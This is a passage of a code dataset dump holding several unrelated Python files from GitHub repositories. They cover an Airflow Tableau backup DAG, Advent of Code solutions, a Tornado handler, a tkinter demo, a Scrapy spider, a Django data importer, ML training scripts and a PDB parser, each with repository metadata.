pendulum\nimport requests\nfrom airflow import DAG\nfrom airflow.models import Variable\nfrom airflow.operators.python import PythonOperator\nfrom auxiliary.outils import get_json_secret\n\ndefault_args = {\n 'owner': 'airflow',\n 'depends_on_past': False,\n 'start_date': datetime(2020, 9, 7, tzinfo=pendulum.timezone('America/Los_Angeles')),\n 'email': ['jharris@coh.org'],\n 'email_on_failure': True,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=2)\n }\n\ndag = DAG('run_tableau_server_backup', default_args=default_args, catchup=False, schedule_interval=None)\n\nebi = get_json_secret('ebi_db_conn')['db_connections']['fi_dm_ebi']\n\nserver_url = Variable.get('tableau_server_url')\n\n\ndef backup():\n login_url = server_url + \":8850/api/0.5/login\"\n logout_url = server_url + \":8850/api/0.5/logout\"\n backup_endpoint = server_url + \":8850/api/0.5/backupFixedFile\"\n\n username = ebi['user'].split(sep='\\\\')[1]\n password = ebi['password']\n\n headers = {\n 'content-type': 'application/json'\n }\n\n auth = {\n 'authentication': {\n 'name': username,\n 'password': password\n }\n }\n\n session = requests.Session()\n body = json.dumps(auth)\n now = datetime.now()\n now = now.strftime(\"%Y%m%dT%H%M%S\")\n writep = \"backup-\" + now + \".tsbak\"\n backup_url = backup_endpoint + \"?writePath=\" + writep + \"&jobTimeoutSeconds=7200\"\n\n login_resp = session.post(login_url, data=body, headers=headers, verify=False)\n backup_resp = session.post(backup_url)\n logout_resp = session.post(logout_url)\n\n\nbs = PythonOperator(\n task_id='backup_tableau_server',\n python_callable=backup,\n dag=dag\n )\n\nbs\n","repo_name":"sbliefnick1/coh_dags","sub_path":"run_tableau_server_backup.py","file_name":"run_tableau_server_backup.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"24106118223","text":"#!/usr/bin/python3.8\n\nimport re\nimport sys\nfrom collections import defaultdict\nfrom copy import deepcopy\n\nif len(sys.argv) > 1:\n path = sys.argv[1]\nelse:\n path = 'input.txt'\n\nl = set()\n\nz = 0\ny = 0\nw = 0\nwith open(path, 'r') as f:\n for line in f:\n line = line.strip()\n for x, ch in enumerate(line):\n if ch == '#':\n l.add((x, y, z, w))\n y += 1\n\ndef dims(l):\n mins = None\n maxs = None\n for k in l:\n if mins is None:\n mins = list(k)\n maxs = list(k)\n for i, kv in enumerate(k):\n if kv > maxs[i]:\n maxs[i] = kv\n if kv < mins[i]:\n mins[i] = kv\n return mins, maxs\n\ndef num(l, x, y, z, w):\n c = 0\n for dx in range(-1, 2):\n for dy in range(-1, 2):\n for dz in range(-1, 2):\n for dw in range(-1, 2):\n if dx != 0 or dy != 0 or dz != 0 or dw != 0:\n if (x+dx, y+dy, z+dz, w+dw) in l:\n c += 1\n return c\n\ndef pr(l, n):\n mins, maxs = dims(l)\n print(mins, maxs)\n for w in range(mins[3], maxs[3] + 1) if n > 3 else [0]:\n for z in range(mins[2], maxs[2] + 1):\n print(f\"------ w={w}, z={z}\")\n for y in range(mins[1], maxs[1] + 1):\n for x in range(mins[0], maxs[0] + 1):\n ch = '#' if (x, y, z, w) in l else '.'\n print(ch, end='')\n print()\n\n\ndef next_gen(l, n):\n mins, maxs = dims(l)\n l2 = set()\n for x in range(mins[0]-1, maxs[0] + 2):\n for y in range(mins[1]-1, maxs[1] + 2):\n for z in range(mins[2]-1, maxs[2] + 2):\n for w in range(mins[3]-1, maxs[3] + 2) if n > 3 else [0]:\n ncnt = num(l, x, y, z, w)\n v = (x, y, z, w) in l\n #print(f\"({x},{y},{z},{w}), ncnt={ncnt}, v={v}\")\n if ncnt == 3 or (v and ncnt == 2):\n #print(f\"Live: ({x}, {y}, {z}, {w})\")\n l2.add((x, y, z, w))\n return l2\n\n# ----- Part 1 -----\n#pr(l, 3)\norig_world = deepcopy(l)\nfor i in range(6):\n l = next_gen(l, 3)\n #print(f\"==== GEN {i+1} ====\")\n #pr(l, 3)\nprint(len(l))\n\n# ----- Part 2 -----\n\nl = orig_world\n#pr(l, 4)\nfor i in range(6):\n l = next_gen(l, 4)\n #print(f\"==== GEN {i+1} ====\")\n #pr(l, 4)\nprint(len(l))\n","repo_name":"piotr-piatkowski/aoc","sub_path":"2020/d17.py","file_name":"d17.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"4008283488","text":"from AdminServer.handlers.BaseHandler import BaseHandler\nfrom DB.Entities.BlogPost import BlogPost\nfrom DB.Entities.Admin import Admin\nimport datetime\nfrom tornado.web import HTTPError\n\n\nclass PostEditorHandler(BaseHandler):\n \"\"\"\n Handler for editing blog posts\n \"\"\"\n\n def get(self):\n self.render(\"post_editor.html\")\n\n def post(self):\n title = self.get_argument('post_title', '')\n content = self.get_argument('post_content', '')\n post_time = datetime.datetime.now()\n\n admin_username = self.get_current_user().decode('utf8')\n\n try:\n session = self.acquire_sql_session()\n except:\n raise HTTPError(500, 'Could not acquire session for database')\n\n try:\n query = session.query(Admin.id).\\\n filter(Admin.username == admin_username).one_or_none()\n\n admin_id = query[0]\n except:\n raise HTTPError(500, 'Database error')\n\n content = repr(content)\n content = content[1:]\n content = content[:-1]\n\n # Creates new BlogPost\n new_post = BlogPost(\n admin_id=admin_id,\n title=title,\n body=content,\n created_at=post_time\n )\n\n try:\n # Adds new BlogPost to database\n session.add(new_post)\n session.commit()\n except:\n raise HTTPError(500, 'Database error')\n\n session.close()\n self.redirect(r\"/\")\n","repo_name":"valiro21/mlc","sub_path":"AdminServer/handlers/PostEditorHandler.py","file_name":"PostEditorHandler.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"37687637633","text":"import tkinter as tk\r\nfrom tkinter import ttk\r\n\r\ndef get_current_value():\r\n return \"目前進度 : \" + str(progressbar[\"value\"]) + \"%\"\r\ndef start():\r\n if progressbar[\"value\"] < progressbar[\"maximum\"]:\r\n progressbar[\"value\"] += 10\r\n label[\"text\"]=get_current_value()\r\n else:\r\n label[\"text\"]=\"已完成!\"\r\n \r\ndef stop():\r\n progressbar.stop()\r\n label[\"text\"]=get_current_value()\r\n\r\n\r\nwin=tk.Tk() \r\nwin.title(\"tkinter GUI 測試\")\r\nwin.geometry(\"300x200\")\r\n\r\nprogressbar=ttk.Progressbar(win, length=250, mode=\"determinate\")\r\nprogressbar.pack()\r\nttk.Button(win, text=\"開始\", command=start).pack()\r\nttk.Button(win, text=\"停止\", command=stop).pack()\r\nlabel=ttk.Label(win)\r\nlabel.pack()\r\nwin.mainloop()","repo_name":"tony1966/tony1966.github.io","sub_path":"test/python/tkinter/Progressbar_4.py","file_name":"Progressbar_4.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"39738076755","text":"from collections import deque\r\nimport sys\r\ninput = sys.stdin.readline\r\na, b = map(int,input().split())\r\n\r\n\r\ndef bfs(a,b):\r\n queue = deque()\r\n queue.append(a)\r\n\r\n \r\n answer_num = 0\r\n answer_count =0\r\n\r\n \r\n visited = [0] * 100001\r\n visited[a] =0\r\n\r\n \r\n while queue:\r\n x= queue.popleft()\r\n cnt = visited[x] \r\n if x==b:\r\n answer_count = cnt \r\n answer_num+=1\r\n continue\r\n \r\n for nx in [x-1 , x+1, x*2]:\r\n if 0<=nx<100001:\r\n if visited[nx]==0 or visited[nx]==visited[x]+1:\r\n queue.append(nx)\r\n visited[nx]= cnt +1\r\n\r\n \r\n print(answer_count) \r\n print(answer_num) \r\n \r\n \r\nbfs(a,b)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n \r\n","repo_name":"eun-hak/baejoonHub","sub_path":"백준/Gold/12851. 숨바꼭질 2/숨바꼭질 2.py","file_name":"숨바꼭질 2.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18144397745","text":"from controllers.trainedNetworks.nnTrainer import train_nCLF\nfrom systems.sys_SingleIntegrator import Sys_SingleIntegrator\nfrom visualizers.vis_PlotEpoch import Vis_PlotEpoch\nimport numpy as np\n\nif __name__ == '__main__':\n '''\n Train and save a neural control lyapunov function (nCLF) for a defined system.\n\n nCLF is saved as a pytorch ~~~.pth file.\n '''\n\n # pick a system from /systems/\n sys = Sys_SingleIntegrator()\n\n # initialize the trainer with the system\n trainer = train_nCLF(sys)\n vis = Vis_PlotEpoch()\n\n # run the trainer, defining a relative save path\n loss_data = trainer.train(10,100)\n vis.load(loss_data,'10 samples')\n\n trainer = train_nCLF(sys)\n loss_data = trainer.train(100,100)\n vis.load(loss_data,'100 samples')\n\n trainer = train_nCLF(sys)\n loss_data = trainer.train(1000,100)\n vis.load(loss_data,'1000 samples')\n\n vis.render()\n\n","repo_name":"toofanian/controlologist","sub_path":"main_train_compare.py","file_name":"main_train_compare.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10580878854","text":"import numpy as np\r\nimport torch as tr\r\nfrom torch.nn import Sequential, Conv2d, Linear, Flatten, LeakyReLU, Tanh\r\nimport pysnooper\r\n\r\n\r\ndef TictactoeNet(board_size):\r\n x = 3*board_size*board_size\r\n layers_fir=243\r\n layers_sec=243\r\n y = 1\r\n in_features,hidden_features_fir,hidden_features_sec,out_features = x,layers_fir,layers_sec,y\r\n\r\n model_layer_fir = Sequential(\r\n Flatten(),\r\n Linear(in_features,hidden_features_fir)\r\n )\r\n model_layer_sec = Sequential(\r\n Flatten(),\r\n Linear(hidden_features_fir,hidden_features_sec)\r\n )\r\n\r\n model = Sequential(\r\n Flatten(),\r\n Linear(hidden_features_sec,out_features)\r\n )\r\n\r\n return model\r\n\r\ndef calculate_loss(net, x, y_targ):\r\n y = net(x)\r\n e = tr.sum((net(x) - y_targ)**2)\r\n return (y,e)\r\n\r\n#@pysnooper.snoop(depth=2)\r\ndef optimization_step(optimizer, net, x, y_targ):\r\n\r\n optimizer.zero_grad()\r\n\r\n e = tr.sum((net(x) - y_targ)**2)\r\n e.backward()\r\n\r\n optimizer.step()\r\n return (net(x),e)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n board_size = 9\r\n instance_size = int(input('instance size/the number of obstacles(0-4) 5 different size:\\n'))\r\n net = TictactoeNet(board_size=board_size)\r\n print(net)\r\n\r\n import pickle as pk\r\n with open(\"data%d.pkl\" % instance_size,\"rb\") as f: (x, y_targ) = pk.load(f)\r\n\r\n # Optimization loop\r\n optimizer = tr.optim.Adam(net.parameters())\r\n train_loss, test_loss = [], []\r\n shuffle = np.random.permutation(range(len(x)))\r\n split = 10\r\n train, test = shuffle[:-split], shuffle[-split:]\r\n for epoch in range(5000):\r\n y_train, e_train = optimization_step(optimizer, net, x[train], y_targ[train])\r\n y_test, e_test = calculate_loss(net, x[test], y_targ[test])\r\n if epoch % 10 == 0: print(\"%d: %f (%f)\" % (epoch, e_train.item(), e_test.item()))\r\n train_loss.append(e_train.item() / (len(shuffle)-split))\r\n test_loss.append(e_test.item() / split)\r\n\r\n tr.save(net.state_dict(), \"new_model%d.pth\" % instance_size)\r\n\r\n import matplotlib.pyplot as pt\r\n pt.plot(train_loss,'b-')\r\n pt.plot(test_loss,'r-')\r\n pt.legend([\"Train\",\"Test\"])\r\n pt.xlabel(\"Iteration\")\r\n pt.ylabel(\"Average Loss\")\r\n pt.show()\r\n\r\n pt.plot(y_train.detach().numpy(), y_targ[train].detach().numpy(),'bo')\r\n pt.plot(y_test.detach().numpy(), y_targ[test].detach().numpy(),'ro')\r\n pt.legend([\"Train\",\"Test\"])\r\n pt.xlabel(\"Actual output\")\r\n pt.ylabel(\"Target output\")\r\n pt.show()\r\n","repo_name":"yangx18/Fanta-Tic-Tac-Toe","sub_path":"main/tictactoe_nn/tictactoe_net.py","file_name":"tictactoe_net.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71995360720","text":"from juicer.utils import *\nfrom juicer.items import *\n#import dateparser\n\nclass Indiaconsumer(JuicerSpider):\n name = 'indiaconsumerforum_review_terminal'\n\n def __init__(self, *args, **kwargs):\n super(Indiaconsumer, self).__init__(*args, **kwargs)\n self.pattern1 = re.compile(r'(\\d+\\/\\d+\\/\\d+)')\n\n def parse(self, response):\n sel = Selector(response)\n sk = response.meta['sk']\n browse = response.meta.get('data','').get('browse','')\n meta_data_from = response.meta.get('data','')\n category = meta_data_from.get('category','')\n author_url = meta_data_from.get('author_url','')\n author = meta_data_from.get('author','')\n if not category: category = extract_data(sel, '//div[@class=\"post-category\"]/a/text()')\n if not author: author = extract_data(sel, '//span[@class=\"vcard author\"]//a[@rel=\"author\"]/text()')\n if not author_url: extract_data(sel, '//span[@class=\"vcard author\"]//a[@rel=\"author\"]/@href')\n title = extract_data(sel, '//h1[@class=\"entry-title\"]/text()')\n location = extract_data(sel, '//cite//span[@class=\"location\"]/text()')\n reviews = extract_data(sel,'//div[@class=\"entry-content\"]/p//text()')\n details_check = sel.xpath('//div[@class=\"entry-content\"]/p[contains(.,\"Email: \")]/text()').extract()\n aux_info = {}\n aux_info.update({\"browse\":browse})\n if author_url: aux_info.update({\"author_profile\":author_url})\n if location: aux_info.update({\"location\":location})\n email_no = self.name_clean(extract_data(sel,'//div[@class=\"entry-content\"]/p/text()[contains(.,\"Email: \")]')).replace('Email:','')\n contact_no = self.name_clean(extract_data(sel,'//div[@class=\"entry-content\"]/p/text()[contains(.,\"Contact No\")]'))\n if contact_no: contact_no = textify(re.findall('Contact No.*? (.*)', contact_no))\n author1, address, stampip, date1 = ['']*4\n if details_check:\n author1 = self.name_clean(details_check[0])\n if len(details_check) >1:\n address = self.name_clean(details_check[1])\n stampip = self.name_clean(details_check[-1])\n if 'Email:' in address or \"Contact No\" in address: address = ''\n if self.pattern1.search(stampip):\n if '/ ' in stampip:\n stampip_cl = stampip.split('/ ')\n try:\n stampip_cl = stampip_cl[1:]\n date1 = str(dateparser.parse(' '.join(stampip_cl)))\n except: pass\n else:\n stampip = ''\n if author1: author = author1\n if address: aux_info.update({\"address\":address})\n if email_no: aux_info.update({\"email\":email_no})\n if contact_no: aux_info.update({\"contact_no\":contact_no})\n customerReviews = CustomerReviews()\n customerReviews.update({\"sk\":normalize(sk), \"name\":normalize(title), \"product_id\":normalize(sk),\"reviewed_by\":normalize(author),\"reviewed_on\":normalize(date1),\"review\":normalize(reviews),\"review_url\":normalize(response.url),\"category\":normalize(category)})\n if aux_info: customerReviews.update({\"aux_info\":json.dumps(aux_info, ensure_ascii=False, encoding=\"utf-8\")})\n yield customerReviews\n self.got_page(sk,1)\n\n def name_clean(self, text):\n text = text.replace(u'\\xa0','').replace(u'\\u2013','').strip()\n return text\n","repo_name":"headrun/pi","sub_path":"PIFramework/juicer/spiders/indiaconsumerforum_review_terminal.py","file_name":"indiaconsumerforum_review_terminal.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"781246506","text":"import os\nimport json\nfrom django.core.management.base import BaseCommand\nfrom books_store.models import Book, Author, Category\nimport os\n\nmodule_dir = os.path.dirname(__file__)\nparent_directory = os.path.dirname(module_dir)\n\nclass Command(BaseCommand):\n help = 'Import data from a JSON file into the database'\n\n def handle(self, *args, **kwargs):\n # Construct the full file path to the JSON file\n json_file_path = os.path.join('static', 'datasets', 'amazon.books.json')\n\n with open(json_file_path, 'r') as file:\n data = json.load(file)\n\n new_books_count = 0 # Initialize a counter for new books\n # El objetivo de este código es proporcionar una funcionalidad que permita importar datos desde un archivo JSON a una base de datos en una aplicación Django. Está diseñado para ser utilizado como un comando personalizado de administración de Django.\n # En resumen, este código tiene como objetivo importar datos desde un archivo JSON a la base de datos de una aplicación Django. Proporciona una forma robusta de manejar datos con posibles claves faltantes en el JSON, asegurando que el proceso de importación continúe sin problemas y, al final, informa sobre la cantidad de nuevos libros que se agregaron a la base de datos. Esto es especialmente útil para la administración de grandes conjuntos de datos o la actualización periódica de la base de datos de la aplicación.\n for item in data:\n try:\n isbn = item['isbn']\n # Use get() method with a default value to handle missing keys\n title = item.get('title', 'Unknown Title')\n pageCount = item.get('pageCount', 0)\n publishedDate = item.get('publishedDate', {}).get('$date', '2000-01-01T00:00:00.000-0000')\n thumbnailUrl = item.get('thumbnailUrl', '')\n shortDescription = item.get('shortDescription', 'No description available')\n longDescription = item.get('longDescription', 'No description available')\n status = item.get('status', 'PUBLISH')\n authors = item.get('authors', [])\n categories = item.get('categories', [])\n\n # Check if a book with the same ISBN already exists in the database\n if not Book.objects.filter(isbn=isbn).exists():\n # Create authors\n authors = [Author.objects.get_or_create(name=author)[0] for author in authors]\n\n # Create categories\n categories = [Category.objects.get_or_create(name=category)[0] for category in categories]\n\n # Create the new book\n Book.objects.create(\n title=title,\n isbn=isbn,\n pageCount=pageCount,\n publishedDate=publishedDate,\n thumbnailUrl=thumbnailUrl,\n shortDescription=shortDescription,\n longDescription=longDescription,\n status=status,\n )\n\n # Add authors and categories to the book\n book = Book.objects.get(isbn=isbn)\n book.authors.set(authors)\n book.categories.set(categories)\n\n new_books_count += 1 # Increment the counter\n except KeyError as e:\n # Handle missing key errors by printing an error message and continuing to the next item\n self.stdout.write(self.style.ERROR(f'Error importing book: {str(e)}'))\n continue\n if new_books_count > 0:\n self.stdout.write(self.style.SUCCESS(f'Successfully added {new_books_count} new book(s).'))\n else:\n self.stdout.write(self.style.SUCCESS('No new books added.'))\n\n\n","repo_name":"maaferna/ReadConnect","sub_path":"ReadConnect/books_store/management/commands/import_books.py","file_name":"import_books.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"27206757482","text":"from common import read_file, timer\nimport re\n\n\n@timer\ndef part_1():\n I = read_file('day4')\n I.append('')\n count = 0\n s = set()\n for l in I:\n if l == '':\n s.discard('cid')\n if len(s) == 7: count += 1\n s = set()\n else:\n s = s | set(map(lambda x: x.split(':')[0], l.split(' ')))\n\n print(count)\n\n\n@timer\ndef part_2():\n I = read_file('day4')\n I.append('')\n count = 0\n s = set()\n for l in I:\n if l == '':\n count += validate(s)\n\n s = set()\n else:\n s = s | set(l.split(' '))\n\n print(count)\n\n\ndef validate(s):\n \"\"\"\n byr (Birth Year) - four digits; at least 1920 and at most 2002.\n iyr (Issue Year) - four digits; at least 2010 and at most 2020.\n eyr (Expiration Year) - four digits; at least 2020 and at most 2030.\n hgt (Height) - a number followed by either cm or in:\n If cm, the number must be at least 150 and at most 193.\n If in, the number must be at least 59 and at most 76.\n hcl (Hair Color) - a # followed by exactly six characters 0-9 or a-f.\n ecl (Eye Color) - exactly one of: amb blu brn gry grn hzl oth.\n pid (Passport ID) - a nine-digit number, including leading zeroes.\n cid (Country ID) - ignored, missing or not.\n \"\"\"\n byr = [x for x in s if x.startswith('byr')]\n iyr = [x for x in s if x.startswith('iyr')]\n eyr = [x for x in s if x.startswith('eyr')]\n hgt = [x for x in s if x.startswith('hgt')]\n hcl = [x for x in s if x.startswith('hcl')]\n ecl = [x for x in s if x.startswith('ecl')]\n pid = [x for x in s if x.startswith('pid')]\n if byr and iyr and eyr and hgt and hcl and ecl and pid:\n byr_d = int(byr[0][4:])\n if byr_d < 1920 or byr_d > 2002: return 0\n\n iyr_d = int(iyr[0][4:])\n if iyr_d < 2010 or iyr_d > 2020: return 0\n\n eyr_d = int(eyr[0][4:])\n if eyr_d < 2020 or eyr_d > 2030: return 0\n\n hgt_d = hgt[0][4:]\n if not (hgt_d.endswith('cm') or hgt_d.endswith('in')): return 0\n hgt_d_i = int(hgt_d[:-2])\n hgt_d_u = hgt_d[-2:]\n if hgt_d_u == 'cm' and (hgt_d_i < 150 or hgt_d_i > 193): return 0\n if hgt_d_u == 'in' and (hgt_d_i < 59 or hgt_d_i > 76): return 0\n\n hcl_d = hcl[0][4:]\n if not re.search(r'^#[0-9a-f]{6}$', hcl_d): return 0\n\n ecl_d = ecl[0][4:]\n if ecl_d not in ['amb', 'blu', 'brn', 'gry', 'grn', 'hzl', 'oth']: return 0\n\n pid_d = pid[0][4:]\n if not re.search(r'^\\d{9}$', pid_d): return 0\n \n return 1\n return 0\n\n\npart_1()\npart_2()\n","repo_name":"rinfiyks/advent-of-code-2020","sub_path":"python/day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18666166197","text":"from yaml import safe_load\n\nwith open('app.yml') as ymlfile:\n yfile = safe_load(ymlfile)\n\n\ndef get_svc_cfg():\n return yfile\n\n\ndef tree_traverse(tree, key):\n for k, v in tree.items():\n if k == key:\n return v\n elif isinstance(v, dict):\n found = tree_traverse(v, key) \n if found is not None: # check if recursive call found it\n return found\n","repo_name":"n-raghu/KnowledgeBase","sub_path":"aws/CloudLoops/essentials.py","file_name":"essentials.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3233792211","text":"import DataSetRat as DSR\nfrom networks import NN_SplitAutoencoder\nfrom experiment import Experiment\nimport filePathConfig\nfrom Loss import *\nimport PIL.Image\nfrom visualisation import cellVis\nimport torchvision.transforms as transforms\nimport datetime\nfrom networks import networkModules\nimport numpy as np\nfrom torchviz import make_dot, make_dot_from_trace\nfrom logger import Logger\n\ndef xavier_init(m):\n #print(\"etst\",m.__class__.__name__)\n if isinstance(m,networkModules.LinearSplit):\n m.xav()\n if isinstance(m,nn.Linear) or isinstance(m, nn.Conv2d):\n print(m.__class__.__name__)\n torch.nn.init.xavier_uniform_(m.weight)\n\nclass SplitAutoencoderExperiment(Experiment):\n def __init__(self, lossFuncID,p_networkSetup,testRun = False):\n super(SplitAutoencoderExperiment,self).__init__()\n #setting up experiment identification\n self.name = \"SplitCAE_EXP\"\n self.networkSetup = p_networkSetup\n self.lossFunction, self.experimentData.subLossNames = losses[lossFuncID]\n self.lossFunctionName = self.lossFunction.__name__\n self.pcCoeff = None\n self.hdcCoeff = None\n self.weight_decay = 0.0\n\n def initFolders(self):\n print(self.name)\n print(self.networkSetup.name)\n print(self.lossFunctionName)\n print(str(self.setup.learningRate))\n print(str(self.setup.sequenceID))\n print(str(self.setup.numberReps))\n print(self.sbatchID)\n self.filePathExperiment = self.filePathResults \\\n + \"/\" + self.name \\\n + self.extraFolder \\\n + \"/\" + \"Seq_\"+ str(self.setup.sequenceID) \\\n + \"/\" + self.networkSetup.name \\\n + \"/\" + self.lossFunctionName \\\n + \"_\" + \"lr_\" + str(self.setup.learningRate) \\\n + \"_\" + datetime.datetime.now().strftime( \"%d-%m_%H%M-%S\") \\\n + \"_\" + \"Reps_\"+ str(self.setup.numberReps)\\\n + \"_\" + str(self.sbatchID) + \"XAV\"\\\n + \"_\" +\"Bs\"+ str(self.batchSize)\n\n\n self.filePathImages = self.filePathExperiment + \"/images\" \n self.ensureDir(self.filePathExperiment)\n self.ensureDir(self.filePathImages)\n\n def initNetwork(self):\n \n self.net = NN_SplitAutoencoder.SplitAutoencoder(self.networkSetup.architecture,\n self.networkSetup.middlelayersizex,\n self.networkSetup.middlelayersizey,\n self.networkSetup.numHeadDirectionCells,self.batchSize)\n\n self.net.train()\n self.architectureName = self.net.getArchitecureName()\n\n #self.net.apply(xavier_init)\n\n\n def initTrainingData(self):\n self.trainSet = DSR.DataSetRatEfficient(self.sequencePath)\n self.trainLoader = torch.utils.data.DataLoader(self.trainSet, batch_size=self.batchSize)\n\n def initOptimizer(self):\n self.optimizer = self.networkSetup.optimizer(self.net.parameters(), lr= self.setup.learningRate,weight_decay = self.weight_decay)\n\n def writeImages(self,reconstruction,outPc,outHdc,setIterationIdx,setIdx):\n images = self.trainLoader.dataset.getImages(setIterationIdx)\n\n o = outPc.cpu().view((1,1,10,6))[0][0].detach().numpy()\n images.append(cellVis.pCellToImage(o))\n\n o = outHdc.cpu()[0][0].detach().numpy()\n images.append(cellVis.hdCellToImage(o))\n\n reconstructionImage = transforms.ToPILImage()(reconstruction.cpu().detach()[0])\n images.append(reconstructionImage)\n\n widths, heights = zip(*(i.size for i in images[0:-1]))\n total_width = sum(widths) + len(widths) * 10\n max_height = max(max(heights), max(heights) + images[-1].size[1])\n new_im = PIL.Image.new('RGB', (total_width, max_height), (255,255,255))\n\n x_offset = 0\n for im in images[0:-1]:\n new_im.paste(im, (x_offset,0))\n x_offset += im.size[0] + 10\n\n new_im.paste(images[-1], (0, images[-1].size[1] + 10))\n new_im.save(self.filePathImages+\"/r_\"+str(setIterationIdx + (setIdx * len(self.trainLoader))).zfill(5) +'.png')\n for x in images:\n x.close()\n new_im.close()\n\n def runSet(self,device,setIdx):\n\n lastHdc = None\n lastPc = None\n lastImage = None\n lastReconstruction = None\n subLoss = []\n \n self.verboseMessage(\"Starting set \", setIdx)\n for setIterationIdx,data in enumerate(self.trainLoader):\n iterIdx = setIterationIdx + (setIdx * len(self.trainLoader))\n self.verboseMessage(\"Starting iteration \", setIterationIdx)\n inputImage = data['image'].to(self.device)\n reconstruction, lV, outPc, outHdc = self.net.forward(inputImage,setIterationIdx)\n\n #if (setIterationIdx == 3):\n # dot.render('testPc.gv') \n # dot = make_dot(outHdc,params=dict(self.net.named_parameters()))\n # dot.render('testHdc.gv') \n # dot = make_dot(reconstruction,params=dict(self.net.named_parameters()))\n # dot.render('reconst.gv') \n # exit()\n if setIterationIdx > 0:\n loss, subLoss = self.lossFunction(setIterationIdx,outPc, outHdc, lastPc,\n lastHdc,reconstruction,inputImage,self.optimizer,lastImage)\n self.experimentData.update(loss,subLoss)\n\n if (setIterationIdx % 50 == 0 or setIterationIdx == 1):\n self.experimentData.toPlot(self.filePathExperiment)\n self.experimentData.toSplitPlot(self.filePathExperiment)\n #if (setIterationIdx % 2 == 0 or setIterationIdx == 1):\n # self.experimentData.toPlot(self.filePathExperiment)\n # # 1. Log scalar values (scalar summary)\n # info = {}\n # for i ,x in enumerate(subLoss):\n # info[self.experimentData.subLossNames[i]] = x\n # print(info)\n # for tag, value in info.items():\n # self.logger.scalar_summary(tag, value, iterIdx)\n\n # # 2. Log values and gradients of the parameters (histogram summary)\n # for tag, value in self.net.named_parameters():\n # print(tag)\n # tag = tag.replace('.', '/')\n # self.logger.histo_summary(tag, value.data.cpu().numpy(), iterIdx)\n # self.logger.histo_summary(tag+'/grad', value.grad.data.cpu().numpy(), iterIdx)\n\n if (setIterationIdx % 50 == 0 or setIterationIdx < 50):\n self.writeImages(reconstruction,outPc,outHdc,setIterationIdx,setIdx)\n\n npPc = outPc.cpu().detach().numpy()\n npHdc = outHdc.cpu().detach().numpy()\n\n self.experimentData.npPcs.append(npPc)\n self.experimentData.npHdcs.append(npHdc)\n\n self.experimentData.sum.append(np.sum(npPc))\n self.experimentData.mean.append(np.mean(npPc))\n self.experimentData.sum.append(np.sum(npHdc))\n self.experimentData.mean.append(np.mean(npHdc))\n\n #lastHdc = outHdc\n #lastPc = outPc\n lastHdc = torch.tensor(outHdc.detach(),requires_grad=False)\n lastPc = torch.tensor(outPc.detach(),requires_grad=False)\n lastImage = torch.tensor(inputImage.detach(),requires_grad=False)\n\n\n \n","repo_name":"Nodmgatall/Bachelor","sub_path":"code/src/_2ndSplitAutoencoderExperiment.py","file_name":"_2ndSplitAutoencoderExperiment.py","file_ext":"py","file_size_in_byte":8152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15778230544","text":"from rest_framework.serializers import ModelSerializer, ValidationError\nfrom datetime import datetime\nfrom apps.ticket.models.trip import Trip\n\n\nclass TripSerializer(ModelSerializer):\n class Meta:\n model = Trip\n exclude = []\n\n def validate_departure_day(self, value):\n if value <= datetime.now().date():\n raise ValidationError(\"ngay di phai lon hon ngay hien tai\")","repo_name":"haukoy123/ticket_sales","sub_path":"apps/ticket/serializers/trip.py","file_name":"trip.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"911340456","text":"from Bio.PDB.PDBParser import PDBParser\nfrom Bio.PDB.MMCIFParser import MMCIFParser\nimport re\nimport gzip\nimport requests\ntry:\n from StringIO import StringIO ## for Python 2\nexcept ImportError:\n from io import StringIO ## for Python 3\n\nclass myPDBParser(PDBParser, MMCIFParser):\n def __init__(self, structure_builder=None, QUIET=False, removeHeteroDuplicated=True):\n self.removeHeteroDuplicated= removeHeteroDuplicated\n PDBParser.__init__(self, structure_builder= structure_builder, QUIET=QUIET)\n MMCIFParser.__init__(self, structure_builder= structure_builder, QUIET=QUIET)\n\n def get_structure(self, *args):\n if len(args)==2:\n pdbId, fileName= args\n elif len(args)==1:\n fileName= args[0]\n pdbId, fileName= str(fileName), fileName\n else:\n raise ValueError(\"Error, input should be (id, fileName) or (fileName))\")\n\n if re.match(\"http(s?)://\",fileName):\n r= requests.get(fileName)\n if r.ok:\n fileName= StringIO(r.text)\n else:\n raise Exception(\"Error downloading pdb\")\n\n try:\n if not isinstance(fileName, str) or not fileName.endswith(\".gz\"):\n structure= PDBParser.get_structure( self,pdbId, fileName)\n else:\n with gzip.open(fileName) as f:\n structure= PDBParser.get_structure( self, pdbId, f)\n except Exception as e:\n print(e)\n structure= MMCIFParser.get_structure(self, pdbId, fileName)\n if 